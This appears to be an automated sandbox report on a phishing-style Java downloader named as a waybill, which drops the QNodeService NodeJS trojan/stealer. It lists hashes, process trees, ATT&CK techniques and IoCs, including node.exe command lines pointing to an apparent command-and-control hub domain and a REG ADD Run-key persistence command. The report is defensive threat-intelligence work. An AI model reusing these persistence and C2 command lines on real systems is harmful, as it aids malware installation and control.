qnodeservice | 9dabaaa64f32d2410650d132d18f16ef9ea8292806f67cb0e3a5da78747a7e2c

General

Target

Way Bill #6200297859.jar
Size

243KB
MD5

fc40032949c5ad9c341fcc0879810233
SHA1

47ac2dae04503744f393318f7041f75ccabe3c63
SHA256

9dabaaa64f32d2410650d132d18f16ef9ea8292806f67cb0e3a5da78747a7e2c
SHA512

584ddc1e06e26dc9c61608cfa7c3ad3f622ba636edb2095c3ae2ccce05e002539e4e40184ec3e8dd9e5152b44671189f0d84886fba286d468dc039721b8d2f67

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2672	node.exe
1188	node.exe
1552	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\a67032e5-ff81-406b-85ce-47eae60ea726 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad91-168.dat	js
behavioral2/files/0x000100000001ad91-172.dat	js
behavioral2/files/0x000100000001ad91-178.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
1188	node.exe
1188	node.exe
1188	node.exe
1188	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe
1552	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 2560	3900	java.exe	74
PID 3900 wrote to memory of 2560	3900	java.exe	74
PID 2560 wrote to memory of 2672	2560	javaw.exe	78
PID 2560 wrote to memory of 2672	2560	javaw.exe	78
PID 2672 wrote to memory of 1188	2672	node.exe	80
PID 2672 wrote to memory of 1188	2672	node.exe	80
PID 1188 wrote to memory of 1552	1188	node.exe	81
PID 1188 wrote to memory of 1552	1188	node.exe	81
PID 1552 wrote to memory of 4008	1552	node.exe	83
PID 1552 wrote to memory of 4008	1552	node.exe	83
PID 4008 wrote to memory of 4000	4008	cmd.exe	84
PID 4008 wrote to memory of 4000	4008	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Way Bill #6200297859.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\561eb030.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Osf4ug\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Osf4ug\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1552
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a67032e5-ff81-406b-85ce-47eae60ea726" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4008
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a67032e5-ff81-406b-85ce-47eae60ea726" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1188-173-0x000000E9C1B00000-0x000000E9C1B01000-memory.dmp

Filesize
4KB

Download
memory/1552-179-0x00000214FEBC0000-0x00000214FEBC1000-memory.dmp

Filesize
4KB

Download
memory/2672-170-0x000002145D480000-0x000002145D481000-memory.dmp

Filesize
4KB

Download

Analysis

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